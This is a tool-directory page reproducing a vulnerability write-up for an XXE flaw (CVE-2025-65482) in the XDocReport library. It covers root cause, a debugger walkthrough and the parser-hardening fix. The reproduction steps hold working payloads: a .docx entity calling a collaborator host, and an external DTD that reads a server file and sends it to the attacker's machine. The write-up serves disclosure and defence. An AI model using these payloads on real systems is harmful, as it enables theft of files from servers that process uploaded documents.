Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-65482-XXE- — CVE-2025-65482 (XXE) | Kitploit
Tools/GitHubGitHub/at190510-cuong/cve-2025-65482-xxe-
Vulnerability AnalysisExploitationWeb Application ExploitationData ExfiltrationPapers & ResearchLearning & Education
GitHubat190510-cuong/cve-2025-65482-xxe-

CVE-2025-65482-XXE-

CVE-2025-65482 (XXE)

View Repository
129 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-65482 (XXE)

XML External Entity Injection (XXE) in XDocReport

Bug Definition

XML External Entity Injection

Vulnerability Overview

  • XML External Entity Injection (XXE) is a vulnerability in the processing of XML formatted data, where a user injects XML data that references an external file or system. Attackers can use this identified XXE vulnerability to scan other systems for open service ports, request confidential files, and access the functionality of connected systems that would otherwise be unavailable. From there, attackers can extract data, interact with systems, and cause service disruption through XML injection.

Business Impact

  • XXE can lead to reputational damage to the business due to loss of user trust and confidence. It can also lead to data theft and indirect financial losses for the business through notification costs, remediation costs, and breached PII data.

Severity HIGH

image

Description and Impact

The HR management website allows users to upload .docx document files to the system. During processing, the application uses the fr.opensagres.xdocreport.document.docx library which contains an XXE vulnerability when passing the user's file through .

Download Tool
.docx
SAXParser

Affected component

fr.opensagres.xdocreport.template.docx — XDocReport (versions =< 2.0.3)

Root cause analysis

The cause is the use of Apache POI

root@kitploit:~
fr.opensagres.xdocreport.document.docx
   └── fr.opensagres.xdocreport.document
         └── fr.opensagres.xdocreport.template
               └── fr.opensagres.xdocreport.converter
                     └── org.apache.poi.xwpf.converter.core
                           ├── org.apache.poi:poi
                           └── org.apache.poi:poi-ooxml

That is, Apache POI is deep inside, in the module:

root@kitploit:~
org.apache.poi.xwpf.converter.core

image

The error occurs because XDocReport (in the module fr.opensagres.xdocreport.document.docx) uses Apache POI to read .docx files, and POI uses the default Java SAXParser without disabling features that allow DTD and External Entity processing. → This allows an attacker to inject a DOCTYPE with an entity pointing externally (SYSTEM "http://...") or to an internal file (file:///...) → leading to XXE.

image

root@kitploit:~
XDocReport → fr.opensagres.xdocreport.document.docx → Apache POI (org.apache.poi.xwpf.converter.core) → SAXParser (javax.xml.parsers.SAXParser)

Step to reproduce

  • Unzip any docx file
root@kitploit:~
unzip ../vcspentest.docx

image

  • Edit the content of the document.xml file inside the docx
root@kitploit:~
nano word/document.xml

image

edit with the out-of-band payload to pass through the collaborator as follows:

root@kitploit:~
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://qrlbu64xvd8jr1y8zwcgoiwnler5fx3m.oastify.com/"> ]>
<x>&xxe;</x>

image

  • Re-zip into a poc file
root@kitploit:~
 zip -r ../poc.docx *

image

image

  • Upload the modified docx file to be processed by xdocreport

image

  • Result: a request is sent back to the collaborator

image

  • Elevate impact to read files on the system
  • Host the dtd file on the WSL machine at 172.26.208.130. The content of the vcspentest.dtd file is as follows:
root@kitploit:~
<!ENTITY % file SYSTEM "file:///d:/vcspentest.txt">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://172.26.208.130:8888/?x=%file;'>">
%eval;
%exfil;

image

image

Edit the word/document.xml file inside the .docx with the following content to load the external dtd from the WSL machine:

root@kitploit:~
<!DOCTYPE users [<!ENTITY % xxe SYSTEM "http://172.26.208.130:8888/vcspentest.dtd"> %xxe;]>

image

  • Zip the file into .docx and upload it to the server for processing

image

image

  • On the WSL machine, a request is received with the content of the file D:/vcspentest.txt from the target server

image

image

Solution

  • https://github.com/opensagres/xdocreport/pull/547/commits/a8e48d17f02c19b807efe450d20f1755e45d818b

image

In the code or at the XML parser configuration layer, all features related to DTD and external entities must be disabled.

A fix similar to this code

root@kitploit:~
    @RequestMapping(value = "/SAXParser/vuln", method = RequestMethod.POST)
    public String SAXParserVuln(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);

            SAXParserFactory spf = SAXParserFactory.newInstance();
            SAXParser parser = spf.newSAXParser();
            parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());  // parse xml

            return "SAXParser xxe vuln code";
        } catch (Exception e) {
            logger.error(e.toString());
            return EXCEPT;
        }
    }


    @RequestMapping(value = "/SAXParser/sec", method = RequestMethod.POST)
    public String SAXParserSec(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);

            SAXParserFactory spf = SAXParserFactory.newInstance();
            spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
            spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
            spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
            SAXParser parser = spf.newSAXParser();
            parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());  // parse xml
        } catch (Exception e) {
            logger.error(e.toString());
            return EXCEPT;
        }
        return "SAXParser xxe security code";
    }

Debug environment setup

image

  • In the Main.java file
root@kitploit:~
package org.example;

import fr.opensagres.xdocreport.document.IXDocReport;
import fr.opensagres.xdocreport.document.registry.XDocReportRegistry;
import fr.opensagres.xdocreport.template.IContext;
import fr.opensagres.xdocreport.template.TemplateEngineKind;

import java.io.*;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;

public class Main {

    public static void main(String[] args) {
        try {
            // Read input file containing Velocity expression
            File docxTemplate = new File("C:\\Users\\HP\\Downloads\\New folder (3)\\poc.docx"); // Input file
            InputStream input = new FileInputStream(docxTemplate);

//             Load template using Velocity
//            IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Velocity);

            // Load template using FreeMarker
            IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);

            // Create context - can be empty if only testing standalone expressions
            IContext context = report.createContext();

            // Output to new file
            OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx"));
            report.process(context, out);

            System.out.println("✅ Successfully created result.docx file.");
        } catch (Exception e) {
            System.err.println("❌ Error processing file:");
            e.printStackTrace();
        }
    }
}
  • Required libraries to import
root@kitploit:~
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>vcs1</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>18</maven.compiler.source>
        <maven.compiler.target>18</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

    <dependencies>
        <!-- Template engine: FreeMarker -->
        <dependency>
            <groupId>fr.opensagres.xdocreport</groupId>
            <artifactId>fr.opensagres.xdocreport.template.freemarker</artifactId>
            <version>2.1.0</version>
        </dependency>

        <dependency>
            <groupId>fr.opensagres.xdocreport</groupId>
            <artifactId>fr.opensagres.xdocreport.template.velocity</artifactId>
            <version>2.1.0</version>
        </dependency>

        <dependency>
            <groupId>fr.opensagres.xdocreport</groupId>
            <artifactId>fr.opensagres.xdocreport.document.docx</artifactId>
            <version>2.0.3</version>
        </dependency>
    </dependencies>
</project>

Debug analysis of source sink

  • The input from the XML content in the .docx goes through preprocessing

image

  • Then it is processed by SAXParser without input validation

image

image

image

image

  • Then it enters the scanDocument() function and performs scanning of the XML content, emitting various "events" (START_DOCUMENT, START_ELEMENT, CHARACTERS, ENTITY_REFERENCE, etc.)

image

image

image

image

  • Check if the entity name (name = "xxe") is an external entity

  • If the entity has been declared and is external, the parser will call the external resolution logic (e.g., startExternalEntity(...) / fEntityManager.startEntity(...)) — this is the sink: here the parser will take the systemId/publicId and attempt to open a stream (may generate an HTTP request externally).

image

image

image

  • If xxe is an external entity, startEntity(...) will lead to the resource opening logic (e.g., startExternalEntity(...) / open InputStream → ability to generate HTTP request to SYSTEM URL).

image

image

image

  • This is the point where the parser starts processing the entity "xxe".

image

image

image

image

image

image

root@kitploit:~
  // should we skip external entities?
        boolean external = entity.isExternal();
        Entity.ExternalEntity externalEntity = null;
        String extLitSysId = null, extBaseSysId = null, expandedSystemId = null;
        if (external) {
            externalEntity = (Entity.ExternalEntity)entity;
            extLitSysId = (externalEntity.entityLocation != null ? externalEntity.entityLocation.getLiteralSystemId() : null);
            extBaseSysId = (externalEntity.entityLocation != null ? externalEntity.entityLocation.getBaseSystemId() : null);
            expandedSystemId = expandSystemId(extLitSysId, extBaseSysId, fStrictURI);
            boolean unparsed = entity.isUnparsed();
            boolean parameter = entityName.startsWith("%");
            boolean general = !parameter;
            if (unparsed || (general && !fExternalGeneralEntities) ||
                    (parameter && !fExternalParameterEntities) ||
                    !fSupportDTD || !fSupportExternalEntities) {

                if (fEntityHandler != null) {
                    fResourceIdentifier.clear();
                    final String encoding = null;
                    fResourceIdentifier.setValues(
                            (externalEntity.entityLocation != null ? externalEntity.entityLocation.getPublicId() : null),
                            extLitSysId, extBaseSysId, expandedSystemId);
                    fEntityAugs.removeAllItems();
                    fEntityAugs.putItem(Constants.ENTITY_SKIPPED, Boolean.TRUE);
                    fEntityHandler.startEntity(entityName, fResourceIdentifier, encoding, fEntityAugs);
                    fEntityAugs.removeAllItems();
                    fEntityAugs.putItem(Constants.ENTITY_SKIPPED, Boolean.TRUE);
                    fEntityHandler.endEntity(entityName, fEntityAugs);
                }
                return;
            }
        }

image

  • The startEntity() function checks if the entity is an external entity (isExternal = true), then calls:
root@kitploit:~
staxInputSource = resolveEntityAsPerStax(externalEntity.entityLocation);

The variable externalEntity.entityLocation contains the malicious URL from DOCTYPE (SYSTEM "http://...oastify.com/").

image

  • In resolveEntityAsPerStax, the resourceIdentifier contains the absolute path: http://qrlbu64xvd8jr1y8zwcgoiwnler5fx3m.oastify.com/

  • This function then converts the resourceIdentifier into an XMLResourceIdentifierImpl object and proceeds to open the actual connection to read the content.

image

image

Documentation

  • https://drive.google.com/drive/folders/1hUyCznpBN7ivo5krmyJ4OQc_q626Hy5q?usp=drive_link